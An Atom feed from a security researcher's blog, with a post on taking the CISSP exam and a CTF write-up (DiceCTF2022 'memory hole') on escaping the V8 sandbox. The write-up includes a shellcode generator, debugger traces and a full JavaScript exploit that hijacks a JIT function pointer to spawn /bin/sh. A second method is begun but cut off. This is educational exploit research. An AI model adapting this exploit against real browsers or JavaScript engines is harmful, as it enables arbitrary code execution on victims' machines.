<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Jayl1n&#39;s Blog</title>
  
  
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://jayl1n.github.io/"/>
  <updated>2023-08-17T15:16:35.050Z</updated>
  <id>https://jayl1n.github.io/</id>
  
  <author>
    <name>Jayl1n</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>CISSP 认证过程分享</title>
    <link href="https://jayl1n.github.io/2023/08/17/cissp-certification-process-sharing/"/>
    <id>https://jayl1n.github.io/2023/08/17/cissp-certification-process-sharing/</id>
    <published>2023-08-17T10:39:04.000Z</published>
    <updated>2023-08-17T15:16:35.050Z</updated>
    
    <content type="html"><![CDATA[<p>最近跟风考了个 CISSP ，前后花了大概20多天，分享下过程。</p><h1 id="报名"><a href="#报名" class="headerlink" title="报名"></a>报名</h1><p>直接在 ISC 官网找 CISSP，单次考试 $749，补考需要再交 $749。</p><p>最近 ISC 有 “考试安心保障” 活动， +$199 可以多一次补考的机会，怕一次过不去，我买了这个总价 $948。</p><ul><li><a href="https://www.isc2.org/landing/exam-peace-of-mind" target="_blank" rel="noopener">https://www.isc2.org/landing/exam-peace-of-mind</a></li></ul><p>虽然最后我没用到补考，但还是建议没信心的同学可以考虑下这个。</p><h1 id="学习资源"><a href="#学习资源" class="headerlink" title="学习资源"></a>学习资源</h1><ul><li><p>《CISSP官方学习指南（第8版）》，也称 OSG，为什么不是最新第9版？因为这本书自20年到我手上，已经在某个箱子底下压了2年。</p></li><li><p><a href="https://firmianay.gitbook.io/cissp-notes/" target="_blank" rel="noopener">https://firmianay.gitbook.io/cissp-notes/</a>  firmianay大佬的总结归纳，虽然不是百分百全，但也很好用了，有几个域我没来得及看纸质书，直接看的这个学的。</p></li><li><p>铭学在线  <a href="https://exam.maxstu.com/h5/100000/" target="_blank" rel="noopener">https://exam.maxstu.com/h5/100000/</a>  ，这是用来刷题的，题目质量还可以，看完一章拿来巩固下，还自带错题集。</p></li></ul><h1 id="学习心得"><a href="#学习心得" class="headerlink" title="学习心得"></a>学习心得</h1><p>OSG 能看完就尽量看完，一定要看，推荐纸质书，方便笔记。</p><p>书后面的练习要做，并且能完全理解。</p><p>书刷完以后，可以考虑二刷下 firmianay 的笔记，看完一个域做对应的铭学里的题。</p><p>铭学的题质量不错，还带有解析，务必理解。</p><p>然后就可以考虑刷模拟题了，模拟题网上资源应该不少，各位自己想办法。</p><p>可能你会找到翻译很烂的模拟题，做下来正确率也不高。不用怀疑，考试的题目就这水平，就刷题吧，遇到无法理解的 google 搜一下英文原题，一般都能搜到解释，可以 google hack 一下 <code>examtopics.com</code>，里面有不少 CISSP 的考题。</p><p>据说模拟题刷到正确率 60% 就能去考试了，我感觉是差不多。</p><p>因为我给自己排的时间比较紧，在考试前的最后两天才把所有域的知识刷完，然后刷了一天的题，就匆匆忙忙的就去考试了。</p><p>模拟题大概做了 100 多题，发现正确率很低，可能就 50% 左右，主要原因是翻译的题目看的很难受，题意很难理解，还特地问了下朋友考试是不是就这样子，得到肯定的答案后，考试前一晚都没睡好，一直刷题刷到2点。</p><h1 id="关于题目"><a href="#关于题目" class="headerlink" title="关于题目"></a>关于题目</h1><p>书后的习题以及铭学的题是非常友好的，题目题意选项都是能比较容易就理解的。</p><p>真实考题比较糟心，有不少翻译很难理解，需要自己看英语原题的，平时做题尽量对照着看下英语锻炼下。</p><p>我看到不少题是有争议的，因为在不同场景下的最佳实践是不一样的，可能多个选项都是对的。当然，也有可能考点藏的比较深，多思考一下。</p><p>遇到中英文都无法理解的题，就机选吧，不要在考试的时候搞自己心态（这很重要）。</p><p>有些题目可能有多个正确答案，选你觉得最合适的就行，也不用太纠结。</p><h1 id="考试当天"><a href="#考试当天" class="headerlink" title="考试当天"></a>考试当天</h1><p>我选的考场是上海徐汇区的腾飞大厦。</p><p>本来准备住考场附近，关注了下酒店价格有点小离谱，决定还是住家里，考试当天打个车。</p><p>6点从松江的家里出发，7点到腾飞大厦。上2楼，闸机刷脸上楼，来太早了工作人员都没来，在门外等了半个小时。</p><p>7点半开始入场，做考前讲解，寄存物品（一人一柜），身份验证。</p><p>接近8点进入考场，坐下以后就可以开始考试。</p><p>考场备了隔音耳机，效果不错。</p><p>考试过程可以离场喝水吃东西，跟监考的工作人员说一声就行。</p><p>考试的时间非常充裕，所以我做到150题的时候离场休息了，实在是坐太久了屁股疼 Orz。</p><p>估摸着休息了有20分钟，又回去战斗了。</p><p>我出考场的时候大概 11:30 ，快得有点超预期了。</p><p>跟着指引在门口打印了成绩单，看到单子上恭喜两个字小小激动了一下。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>我平时的工作是挖洞搞研究，对安全风向管理、资产管理、运营这种和技术关联不大的领域接触的少，了解的少，通过 CISSP 的认证，填补了这块知识的空缺，以后也许可能会用到吧。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;最近跟风考了个 CISSP ，前后花了大概20多天，分享下过程。&lt;/p&gt;
&lt;h1 id=&quot;报名&quot;&gt;&lt;a href=&quot;#报名&quot; class=&quot;headerlink&quot; title=&quot;报名&quot;&gt;&lt;/a&gt;报名&lt;/h1&gt;&lt;p&gt;直接在 ISC 官网找 CISSP，单次考试 $749，补考
      
    
    </summary>
    
    
    
      <category term="日常" scheme="https://jayl1n.github.io/tags/%E6%97%A5%E5%B8%B8/"/>
    
      <category term="心得" scheme="https://jayl1n.github.io/tags/%E5%BF%83%E5%BE%97/"/>
    
  </entry>
  
  <entry>
    <title>V8 沙盒绕过</title>
    <link href="https://jayl1n.github.io/2022/02/27/v8-sandbox-escape/"/>
    <id>https://jayl1n.github.io/2022/02/27/v8-sandbox-escape/</id>
    <published>2022-02-27T03:17:27.000Z</published>
    <updated>2023-08-16T15:16:43.329Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>本文首发于跳跳糖 <a href="https://tttang.com/archive/1443/" target="_blank" rel="noopener">https://tttang.com/archive/1443/</a> </p></blockquote><h1 id="V8-沙箱绕过"><a href="#V8-沙箱绕过" class="headerlink" title="V8 沙箱绕过"></a>V8 沙箱绕过</h1><p>这是 DiceCTF2022 的一道题 memory hole。</p><p>题目给了我们修改任意 array 的 length 的能力，按过往的经验，接下来很简单，就是构造任意地址读写原语，构造 WASM 实例，读 RWX 空间地址，写 shellcode ，调 WASM 函数，结束。</p><p>但题目开启了 V8 沙箱，一个新的安全机制，直接阻止了我们构造任意地址读写，能访问的范围是 array 基址后连续的 4G 地址空间。</p><p>绕过这个沙箱是本题的重点，看了两篇wp有所收获，所以整理了下绕过手法，未来可能会用到。</p><p>【题目地址】 <a href="https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz" target="_blank" rel="noopener">https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz</a></p><h1 id="指针压缩"><a href="#指针压缩" class="headerlink" title="指针压缩"></a>指针压缩</h1><p>64 位 V8 中使用了“指针压缩”的技术，即将 64 位指针转为 <code>js_base + offset</code> 的形式，只在内存当中存储 <code>offset</code> ，寄存器 <code>$14</code> 存储 <code>js_base</code> ，其中 <code>offset</code> 是 32 位的。JS 对象在解引用时，会从 <code>$r14 + offset</code> 的地址加载。因此 <code>js_base + offset</code> 被限制在很小的一个区域，无法访问任意地址。</p><p>如下，没有开启“指针压缩”的 <code>ArrayBuffer</code> 内存布局：</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled.png" alt="Untitled"></p><p>开启后：</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%201.png" alt="Untitled"></p><p>绕过“指针压缩”的方法很简单，因为“指针压缩”只对堆上指针使用，堆外指针不会压缩。<code>ArrayBuffer</code> 的 <code>BackingStore</code> 是个堆外指针，可以直接修改 <code>BackingStore</code> 为任意地址进而实现任意地址读写。</p><h1 id="V8-沙箱"><a href="#V8-沙箱" class="headerlink" title="V8 沙箱"></a>V8 沙箱</h1><p>V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”，比如 <code>WebAssembly</code> 的 <code>RWX</code> 页指针和 <code>ArrayBuffer</code> 的 <code>BackingStore</code> 指针。将这些外部指针都转为表的索引，以基址+偏移的方式访问，限制指针能访问的范围，防止攻击者利用 V8 漏洞实现内存任意地址读写。</p><p><a href="https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#heading=h.xzptrog8pyxf" target="_blank" rel="noopener">V8 Sandbox - High-Level Design Doc</a></p><p>如下，未开启 V8 沙箱时的 <code>ArrayBuffer</code> 对象内存布局：</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%202.png" alt="Untitled"></p><p>开启沙箱后，<code>BackingStore</code> 替换为 0x45c00000000（偏移量 0x45c00，向左移动 24 位保证最高位为 0）。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%203.png" alt="Untitled"></p><p>此时假设攻击者能从多个线程中任意破坏沙箱内的内存，现在需要一个额外的漏洞破坏沙箱外部的内存，从而执行任意代码。</p><h1 id="绕过"><a href="#绕过" class="headerlink" title="绕过"></a>绕过</h1><h2 id="方法一：利用立即数写-shellcode"><a href="#方法一：利用立即数写-shellcode" class="headerlink" title="方法一：利用立即数写 shellcode"></a>方法一：利用立即数写 shellcode</h2><p><em>(参考 <a href="https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html" target="_blank" rel="noopener">https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html</a>）</em></p><h3 id="JSFunction"><a href="#JSFunction" class="headerlink" title="JSFunction"></a>JSFunction</h3><p>先 DebugPrint 一个 <code>JSFunction</code> 的内存结构：</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%204.png" alt="Untitled"></p><p>这里有一个 <code>code</code> 字段，它指向了函数要执行的汇编指令，处于 <code>r-x</code> 页。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%205.png" alt="Untitled"></p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%206.png" alt="Untitled"></p><p>用 gdb 修改 <code>code</code> 字段 <code>0x41414141</code> 。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%207.png" alt="Untitled"></p><p>继续执行，出现异常，此时 <code>rcx</code> 是 <code>0x2a0c41414141</code> ，即基址(0x2a0c00000000)+偏移(0x41414141)。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%208.png" alt="Untitled"></p><p>看这段汇编，如果我们令<code>[rcx + 0x1b] &amp; 0x20000000 = 0</code> ，<code>rip</code> 就会在之后被设置为 <code>rcx+0x3f</code> ，从而劫持 <code>rip</code> ，这个条件是比较容易满足的。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%209.png" alt="Untitled"></p><h3 id="使用立即数构造-shellcode"><a href="#使用立即数构造-shellcode" class="headerlink" title="使用立即数构造 shellcode"></a>使用立即数构造 shellcode</h3><p>JS 函数的 JIT 代码存储在堆内，即基址开头的 32 位区域，如下，基址都是 <code>0x350f00000000</code> 。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2010.png" alt="Untitled"></p><p>这个函数返回的是一个浮点数组，在汇编里，每个浮点数以<strong>立即数</strong>的形式存在，<strong>立即数</strong>占 8 个字节。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2011.png" alt="Untitled"></p><p>立即数同样可以被识别为汇编指令，很容易想到可以利用这个<strong>立即数</strong>来布置 shellcode，只要将 shellcode 片段用 <code>jmp</code> 连接起来，就能将一个个立即数串联起来，实现完整的功能。</p><p><code>jmp</code> 短跳需要 2 个字节，剩下 6 个字节可以自由发挥。</p><p>参考原作的脚本生成 shellcode，再将输出转为 IEEE 浮点表示。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context(arch=&apos;amd64&apos;)</span><br><span class="line">jmp = b&apos;\xeb\x0c&apos;</span><br><span class="line">shell = u64(b&apos;/bin/sh\x00&apos;)</span><br><span class="line"></span><br><span class="line">def make_double(code):</span><br><span class="line">assert len(code) &lt;= 6</span><br><span class="line">print(hex(u64(code.ljust(6, b&apos;\x90&apos;) + jmp))[2:])</span><br><span class="line"></span><br><span class="line">make_double(asm(&quot;push %d; pop rax&quot; % (shell &gt;&gt; 0x20)))</span><br><span class="line">make_double(asm(&quot;push %d; pop rdx&quot; % (shell % 0x100000000)))</span><br><span class="line">make_double(asm(&quot;shl rax, 0x20; xor esi, esi&quot;))</span><br><span class="line">make_double(asm(&quot;add rax, rdx; xor edx, edx; push rax&quot;))</span><br><span class="line">code = asm(&quot;mov rdi, rsp; push 59; pop rax; syscall&quot;)</span><br><span class="line">assert len(code) &lt;= 8</span><br><span class="line">print(hex(u64(code.ljust(8, b&apos;\x90&apos;)))[2:])</span><br><span class="line"></span><br><span class="line">&quot;&quot;&quot;</span><br><span class="line">Output:</span><br><span class="line">ceb580068732f68</span><br><span class="line">ceb5a6e69622f68</span><br><span class="line">cebf63120e0c148</span><br><span class="line">ceb50d231d00148</span><br><span class="line">50f583b6ae78948</span><br><span class="line"></span><br><span class="line">IEEE:</span><br><span class="line">1.95538254221075331056310651818E-246</span><br><span class="line">1.95606125582421466942709801013E-246</span><br><span class="line">1.99957147195425773436923756715E-246</span><br><span class="line">1.95337673326740932133292175341E-246</span><br><span class="line">2.63486047652296056448306022844E-284</span><br><span class="line">&quot;&quot;&quot;</span><br></pre></td></tr></table></figure><p>生成出来的 shellcode 是通过系统调用执行 <code>/bin/sh</code> 。</p><p>跟一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">gef➤  job 0x3de400045681</span><br><span class="line">0x3de400045681: [Code]</span><br><span class="line"> - map: 0x3de40800263d &lt;Map&gt;</span><br><span class="line"> - code_data_container: 0x3de4081d360d &lt;Other heap object (CODE_DATA_CONTAINER_TYPE)&gt;</span><br><span class="line">kind = TURBOFAN</span><br><span class="line">stack_slots = 6</span><br><span class="line">compiler = turbofan</span><br><span class="line">address = 0x3de400045681</span><br><span class="line"></span><br><span class="line">Instructions (size = 388)</span><br><span class="line">0x3de4000456c0     0  8b59d0               movl rbx,[rcx-0x30]</span><br><span class="line">...</span><br><span class="line">0x3de400045735    75  c5fb114107           vmovsd [rcx+0x7],xmm0</span><br><span class="line">0x3de40004573a    7a  49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68</span><br><span class="line">0x3de400045744    84  c4c1f96ec2           vmovq xmm0,r10</span><br><span class="line">0x3de400045749    89  c5fb11410f           vmovsd [rcx+0xf],xmm0</span><br><span class="line">0x3de40004574e    8e  49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68</span><br><span class="line">0x3de400045758    98  c4c1f96ec2           vmovq xmm0,r10</span><br><span class="line">0x3de40004575d    9d  c5fb114117           vmovsd [rcx+0x17],xmm0</span><br><span class="line">0x3de400045762    a2  49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148</span><br><span class="line">0x3de40004576c    ac  c4c1f96ec2           vmovq xmm0,r10</span><br><span class="line">0x3de400045771    b1  c5fb11411f           vmovsd [rcx+0x1f],xmm0</span><br><span class="line">0x3de400045776    b6  49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148</span><br><span class="line">0x3de400045780    c0  c4c1f96ec2           vmovq xmm0,r10</span><br><span class="line">0x3de400045785    c5  c5fb114127           vmovsd [rcx+0x27],xmm0</span><br><span class="line">0x3de40004578a    ca  49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>以指令格式查看这几个立即数，可以看到这几个立即数是通过 <code>jmp</code> 串联起来了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">gef➤  x/3i 0x3de40004573c</span><br><span class="line">   0x3de40004573c:push   0x68732f</span><br><span class="line">   0x3de400045741:pop    rax</span><br><span class="line">   0x3de400045742:jmp    0x3de400045750</span><br><span class="line">gef➤  x/3i 0x3de400045750</span><br><span class="line">   0x3de400045750:push   0x6e69622f</span><br><span class="line">   0x3de400045755:pop    rdx</span><br><span class="line">   0x3de400045756:jmp    0x3de400045764</span><br><span class="line">gef➤  x/3i 0x3de400045764</span><br><span class="line">   0x3de400045764:shl    rax,0x20</span><br><span class="line">   0x3de400045768:xor    esi,esi</span><br><span class="line">   0x3de40004576a:jmp    0x3de400045778</span><br><span class="line">gef➤  x/4i 0x3de400045778</span><br><span class="line">   0x3de400045778:add    rax,rdx</span><br><span class="line">   0x3de40004577b:xor    edx,edx</span><br><span class="line">   0x3de40004577d:push   rax</span><br><span class="line">   0x3de40004577e:jmp    0x3de40004578c</span><br><span class="line">gef➤  x/4i 0x3de40004578C</span><br><span class="line">   0x3de40004578c:mov    rdi,rsp</span><br><span class="line">   0x3de40004578f:push   0x3b</span><br><span class="line">   0x3de400045791:pop    rax</span><br><span class="line">   0x3de400045792:syscall</span><br></pre></td></tr></table></figure><h3 id="执行"><a href="#执行" class="headerlink" title="执行"></a>执行</h3><p>接下来就是劫持 <code>rip</code> 。</p><p>修改 JSFunction 对象的 <code>code</code> 字段，令 <code>code + 0x3f = 0x3de40004573c</code> 。</p><p><code>code</code> 的计算方式 <code>0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c</code> ，即原 <code>code</code> 值加 <code>0x7c</code> ，具体各位自行体会，原作的 <code>jitAddr + 0xb3 - 0x3f</code> 的计算在我这跑不起来，差了 8 个字节，不知道是不是环境问题。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2012.png" alt="Untitled"></p><h3 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line">function dp(x) &#123;&#125;// %DebugPrint(x);&#125;</span><br><span class="line">const print = () =&gt; &#123;&#125;;</span><br><span class="line">const assert = function (b, msg)</span><br><span class="line">&#123;</span><br><span class="line">if (!b)</span><br><span class="line">throw Error(msg);</span><br><span class="line">&#125;;</span><br><span class="line">const __buf8 = new ArrayBuffer(8);</span><br><span class="line">const __dvCvt = new DataView(__buf8);</span><br><span class="line">function d2u(val)</span><br><span class="line">&#123; //double ==&gt; Uint64</span><br><span class="line">__dvCvt.setFloat64(0, val, true);</span><br><span class="line">return __dvCvt.getUint32(0, true) +</span><br><span class="line">__dvCvt.getUint32(4, true) * 0x100000000;</span><br><span class="line">&#125;</span><br><span class="line">function u2d(val)</span><br><span class="line">&#123; //Uint64 ==&gt; double</span><br><span class="line">const tmp0 = val % 0x100000000;</span><br><span class="line">__dvCvt.setUint32(0, tmp0, true);</span><br><span class="line">__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);</span><br><span class="line">return __dvCvt.getFloat64(0, true);</span><br><span class="line">&#125;</span><br><span class="line">function d22u(val)</span><br><span class="line">&#123; //double ==&gt; 2 * Uint32</span><br><span class="line">__dvCvt.setFloat64(0, val, true);</span><br><span class="line">&#125;</span><br><span class="line">const hex = (x) =&gt; (&quot;0x&quot; + x.toString(16));</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">One weird thing is that as long as a function contains floating const,</span><br><span class="line">allocated array object cannot reach the function object by OOB;</span><br><span class="line">therefore, we use TypedArray arbitrary R/W in sbx to rewrite its field.</span><br><span class="line">*/</span><br><span class="line">const foo = ()=&gt;</span><br><span class="line">&#123;</span><br><span class="line">return [</span><br><span class="line">        1.0,</span><br><span class="line">1.95538254221075331056310651818E-246,</span><br><span class="line">1.95606125582421466942709801013E-246,</span><br><span class="line">1.99957147195425773436923756715E-246,</span><br><span class="line">1.95337673326740932133292175341E-246,</span><br><span class="line">2.63486047652296056448306022844E-284];</span><br><span class="line">&#125;</span><br><span class="line">for (let i = 0; i &lt; 0x10000; i++) &#123;</span><br><span class="line">foo();foo();foo();foo();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">const f = () =&gt; 123;</span><br><span class="line">const arr = [1.1];</span><br><span class="line">const o = &#123;x:0x1337, a:foo, b:f&#125;; // x makes a and b double align</span><br><span class="line">const ua = new Uint32Array(2);</span><br><span class="line"></span><br><span class="line">arr.setLength(36);</span><br><span class="line">d22u(arr[3]);</span><br><span class="line">const fooAddr = __dvCvt.getUint32(0, true);</span><br><span class="line">const fAddr = __dvCvt.getUint32(4, true);</span><br><span class="line">print(hex(fAddr));dp(f);</span><br><span class="line">dp(ua);</span><br><span class="line"></span><br><span class="line">function readOff(off)</span><br><span class="line">&#123;</span><br><span class="line">arr[35] = u2d((off-7) * 0x100000000);</span><br><span class="line">return ua[0];</span><br><span class="line">&#125;</span><br><span class="line">function writeOff(off, val)</span><br><span class="line">&#123;</span><br><span class="line">arr[35] = u2d((off-7) * 0x100000000);</span><br><span class="line">ua[0] = val;</span><br><span class="line">&#125;</span><br><span class="line">print(hex(fooAddr));dp(foo);</span><br><span class="line">jitAddr = readOff(fooAddr + 0x17);</span><br><span class="line">print(&apos;jitAddr&apos;);</span><br><span class="line">print(hex(jitAddr));</span><br><span class="line">print(&apos;rcx + 0x1b:&apos;) // rcx = jitAddr</span><br><span class="line">print(hex(jitAddr + 0x1b));</span><br><span class="line">print(hex(readOff(jitAddr + 0x1b)));</span><br><span class="line">// %SystemBreak();</span><br><span class="line">// writeOff(fAddr + 0x17, jitAddr + 0xb3 - 0x3f);</span><br><span class="line">writeOff(fAddr + 0x17, jitAddr + 0x7c);</span><br><span class="line">print(readOff(fooAddr + 0x17));</span><br><span class="line">dp(foo);</span><br><span class="line">// %SystemBreak();</span><br><span class="line">f();</span><br></pre></td></tr></table></figure><h2 id="方法二：利用-WasmInstance-的全局变量"><a href="#方法二：利用-WasmInstance-的全局变量" class="headerlink" title="方法二：利用 WasmInstance 的全局变量"></a>方法二：利用 WasmInstance 的全局变量</h2><p><em>（参考：<a href="https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/" target="_blank" rel="noopener">https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/</a>）</em></p><p>尽管沙箱几乎把所有指针都压缩了，但依然存在一些64位的原始指针，可以尝试劫持它们来绕过沙箱。</p><h3 id="全局变量"><a href="#全局变量" class="headerlink" title="全局变量"></a>全局变量</h3><p>WasmInstance 对象的 <code>imported_mutable_globals</code> 存储 WASM 代码中使用的所有全局变量，它并没有被沙箱保护起来。</p><p>下面是一个 WasmInstance 对象：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace</span><br><span class="line"> - map: 0x3b1708206439 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x3b1708046975 &lt;Object map = 0x3b1708206c81&gt;</span><br><span class="line"> - elements: 0x3b1708002249 &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - module_object: 0x3b1708048b69 &lt;Module map = 0x3b17082062d1&gt;</span><br><span class="line"> - exports_object: 0x3b1708048e85 &lt;Object map = 0x3b1708206d21&gt;</span><br><span class="line"> - native_context: 0x3b17081c2c75 &lt;NativeContext[266]&gt;</span><br><span class="line"> - imported_mutable_globals_buffers: 0x3b17081d3035 &lt;FixedArray[1]&gt;</span><br><span class="line"> - imported_function_refs: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - indirect_function_table_refs: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - managed_native_allocations: 0x3b1708048e61 &lt;Foreign&gt;</span><br><span class="line"> - managed object maps: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - feedback vectors: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - memory_start: (nil)</span><br><span class="line"> - memory_size: 0</span><br><span class="line"> - imported_function_targets: 0x560e9be53750</span><br><span class="line"> - globals_start: (nil)</span><br><span class="line"> - imported_mutable_globals: 0x560e9be53770</span><br><span class="line"> - ...</span><br></pre></td></tr></table></figure><p>查看内存，<code>imported_mutable_globals</code> 确实还是64位。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">gef➤  x/20xg 0x3b17081d2f3d-1</span><br><span class="line">0x3b17081d2f3c:0x08002249082064390x0800224908002249</span><br><span class="line">0x3b17081d2f4c:0x00000000080022490x0000000000000000</span><br><span class="line">0x3b17081d2f5c:0x00000000000000000x0000560e9bddc640</span><br><span class="line">0x3b17081d2f6c:0x0000560e9be537500x0000000000000000</span><br><span class="line">0x3b17081d2f7c:0x00000000000000000x0000000000000000</span><br><span class="line">0x3b17081d2f8c:0x0000560e9be537700x0000560e9bddc620</span><br><span class="line">0x3b17081d2f9c:0x0000246bb5adb0000x0000560e9bde8a48</span><br><span class="line">0x3b17081d2fac:0x0000560e9bde8a400x0000560e9bde8a60</span><br><span class="line">0x3b17081d2fbc:0x0000560e9bde8a580x0000560e9bddc630</span><br><span class="line">0x3b17081d2fcc:0x0000560e9be537900x0000560e9be537b0</span><br></pre></td></tr></table></figure><h3 id="使用全局变量"><a href="#使用全局变量" class="headerlink" title="使用全局变量"></a>使用全局变量</h3><figure class="highlight plain"><table><tr><td 